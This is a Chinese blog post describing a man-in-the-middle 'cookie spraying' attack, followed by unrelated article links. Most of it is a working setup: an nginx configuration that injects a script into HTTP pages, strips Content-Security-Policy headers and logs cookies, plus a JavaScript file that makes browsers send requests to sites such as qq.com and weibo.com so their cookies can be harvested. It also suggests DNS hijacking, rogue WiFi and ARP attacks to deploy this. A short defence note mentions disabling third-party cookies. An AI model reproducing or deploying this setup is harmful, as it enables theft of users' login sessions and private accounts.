中间人攻击 -- Cookie 喷发
0x00 前言
分享个中间人攻击姿势,屡试不爽。
原本是篇老文,不过写的太啰嗦。今天用简明的文字,重新讲一遍。
0x01 原理
传统 cookie 嗅探,只能获得用户主动访问的站点。不访问就抓不到,效率很低。
如果流量可控,不如在用户访问的页面中注入一个脚本。通过脚本,就可以请求任意站点:
new Image().src = 'http://anyhost'
因为请求头部会带上 cookie,所以能把任意站点的 cookie 骗上流量,让中间人拿到。
0x02 爆发
首先收集各大网站域名,然后挨个来一发:
var list = ['qq.com', '163.com', 'weibo.com', ...];
for (var i of list) {
new Image().src = 'http://' + i + '/__cookie';
}
这样,就能把用户各种网站的 cookie 都爆上一遍。
后端收到 /__cookie 请求,记录其中的 cookie,然后返回一个空内容。于是只需极小的流量,就可以测试一个站点。
0x03 优化
因为收集了各种站点,所以需要大量的域名解析。
为了让爆破更快,可以再劫持用户的 DNS 请求,暂时解析成自己 IP,这样域名查询就不用走外网。
DNS
<----->
用户 中间人 外网
<----->
HTTP
同时还有个巨大的好处:整个系统不依赖外网,可以离线劫持!
比如在没互联网的地方,开一个 WiFi 就能攻击。
0x04 演示
我们用 nginx 来演示:
# nginx.conf
http {
resolver 114.114.114.114;
...
log_format record_cookie '$time_iso8601 $remote_addr $http_host $http_cookie';
# 静态资源
server {
listen 8080;
server_name m.io;
gzip on;
#expires 1d;
root /path/to/;
}
# 代理服务
server {
listen 8080 default_server;
server_name _;
gzip on;
location / {
# 请求的是 html 资源,进入劫持流程
if ($http_accept ~ "text/html") {
rewrite ^ /__html;
}
# 其他资源,正常代理
proxy_pass http://$http_host;
}
# 页面注入
location = /__html {
internal;
# 压缩的内容无法 sub_filter,先解压
proxy_set_header host $http_host;
proxy_pass http://127.0.0.1:50000$request_uri;
# 删除 CSP 头,防止被阻挡
proxy_hide_header Content-Security-Policy;
# 注入脚本
sub_filter <head "<script src=//m.io/cookie.js></script><head";
}
# 记录 cookie
location = /__cookie {
access_log /path/to/cookies.log record_cookie;
# 设置缓存时间
# 避免每次访问页面,都产生大量请求(其实在 js 里判断会更好)
add_header Cache-Control "max-age=3600";
# 返回空内容
return 200;
}
}
# 解压服务
server {
listen 127.0.0.1:50000;
gunzip on;
location / {
proxy_set_header Accept-Encoding deflate;
proxy_pass http://$host;
}
}
}
在 /path/to 目录下,放置前端攻击脚本:
// cookie.js
(function(list) {
if (self != top) return;
list = list.split(' ');
for (var i = 0; i < list.length; i++) {
new Image().src = 'http://' + list[i] + '/__cookie';
}
})(
// 目标站点列表
'163.com qq.com weibo.com'
)
把浏览器的 HTTP 代理设成 127.0.0.1:8080,就可以演示了。
打开任意 HTTP 页面,就可以爆出用户的各种 Cookie:


实战方式有很多,能控制流量就行。比如 ARP 攻击、钓鱼 WiFi、钓鱼代理,或者劫持小区 PPPoE 网络,等等。
0x05 防范
其实和 JSONP、Flash 隐私泄露类似,关闭浏览器「第三方 cookie」即可。
三方 cookie 百害而无一利,隐私泄露的罪魁祸首。
中间人攻击 -- Cookie 喷发的更多相关文章
- 中间人攻击(MITM)姿势总结
相关学习资料 http://www.cnblogs.com/LittleHann/p/3733469.html http://www.cnblogs.com/LittleHann/p/3738141. ...
- Android安全之Https中间人攻击漏洞
Android安全之Https中间人攻击漏洞 0X01 概述 HTTPS,是一种网络安全传输协议,利用SSL/TLS来对数据包进行加密,以提供对网络服务器的身份认证,保护交换数据的隐私与完整性. ...
- ARP欺骗与中间人攻击
前言: 上一篇WPA/WAP2wifi 密码破解笔记说到如何探测附近开放的AP并且破解进入,那么进入别人据局域网我们能干些什么呢?换句话说如果别人进入了我们内部网络,会有什么影响?本文简要介绍了ARP ...
- 中间人攻击之arp欺骗 科普ARP欺骗
中间人攻击之arp欺骗 科普ARP欺骗 A <-> B A中有个ARP Table,每次发包都会在此Table中查找,若找不到,发APR Request包询问.此时若hacker冒充B的M ...
- 【网络安全】SSLSplit实现中间人攻击
中间人攻击,即在中间监听获取网络数据以便获取的有价值的信息实现攻击破坏的目的,即client-mid man-server,此处介绍的sslsplit可以作为mid man监听ssl信息及HTTP信息 ...
- 中间人攻击工具mitmf(另类的XSS注入攻击)
中间人攻击工具mitmf(另类的XSS注入攻击) (一)简介 (二)安装 (三)结合beef使用 (一)简介 Mitmf 是一款用来进行中间人攻击的工具.它可以结合 beef 一起来使用,并利用 be ...
- 中间人攻击之劫持登录会话(cookies)
关于中间人攻击 中间人攻击(Man-in-the-MiddleAttack,简称"MITM攻击")是一种"间接"的入侵攻击,这种攻击模式是通过各种技术手段将受入 ...
- 自动化中间人攻击工具subterfuge小实验
Subterfuge是一款用python写的中间人攻击框架,它集成了一个前端和收集了一些著名的可用于中间人攻击的安全工具. Subterfuge主要调用的是sslstrip,sslstrip 是08 ...
- 转:中间人攻击利用框架bettercap测试
0x00前言 上篇提到内网渗透很有趣,这次就从一款新工具说起: bettercap 0x01简介 bettercap可用来实现各种中间人攻击,模块化,便携.易扩展 0x02特点 提到中间人攻击,最知名 ...
随机推荐
- 我的基于asp.net mvc5 +mysql+dapper+easyui 的Web开发框架(1)数据库访问(0)
一.数据库访问 概述 1. 数据库使用mysql,orm采用dapper框架.dapper框架应用简单,只是需要自己手写sql语句,但是对于像我这样写了多年sql语句的人来说,这应该不算问题,个人还是 ...
- https://github.com/chenghuige/tensorflow-exp/blob/master/examples/sparse-tensor-classification/
https://github.com/chenghuige/tensorflow-exp/blob/master/examples/sparse-tensor-classification/ ...
- Windows7 64位系统搭建Cocos2d-x-2.2.1最新版以及Android交叉编译环境(详细教程)
Windows7 64位系统搭建Cocos2d-x-2.2.1最新版以及Android交叉编译环境(详细教程) 声明:本教程在参考了以下博文,并经过自己的摸索后实际操作得出,本教程系本人原创,由于升级 ...
- 使用Redis的INCR、Hsetnx、Hincrby的命令生成序列号
Redis INCR命令 用于由一个递增key的整数值.如果该key不存在,它被设置为0执行操作之前.如果key包含了错误类型的值或包含不能被表示为整数,字符串,则返回错误.该操作被限制为64位带符号 ...
- Windows8 UI MessageBox In DevExpress
// custom messagebox using System; using System.Drawing; using System.Windows.Forms; using DevExpres ...
- 数据分析(8):Series介绍
Series Series由一组数据及索引组成 索引 采用默认索引 data = pd.Series([4, 3, 2, 1]) 自定义索引 data = pd.Series([4, 3, 2, 1] ...
- (转) JAVA中如何设置图片(图标)自适应Jlable等组件的大小
一.问题: 一个程序,组件上设置某个图片作为图标,因为的label(应该说是组件)已经设定了固定大小, 所以再打开一些大图片时,超过组件大小的部分没显示出来,而小图片又没填充完整个组件 二.解决这个问 ...
- OpenLayers 3 之 地图样式(ol.style)详解
地图样式是由 style 类控制的,其包含了地图样式的方方面面,例如,填充色.图标样式.图片样式.规则图形样式.边界样式.文字样式等,样式一般针对矢量要素图层. 矢量图层样式可以事先写好,写成静态的, ...
- 6种方法实现asp.net返回上一页
其实要实现返回上一页的功能,主要还是要用到JavaScript. 一: 在ASP.net的aspx里面的源代码中 <input type="button onclick="J ...
- 【NEUQACM OJ】1017: 平面切割(特别版)
1017: 平面切割(特别版) 题目描述 我们要求的是n条闪电型折线分割平面的最大数目.比如,一条闪电型折线可以将平面分成两部分,两条最多可以将平面分成12部分,三条最多可将平面分成31部分,四条最多 ...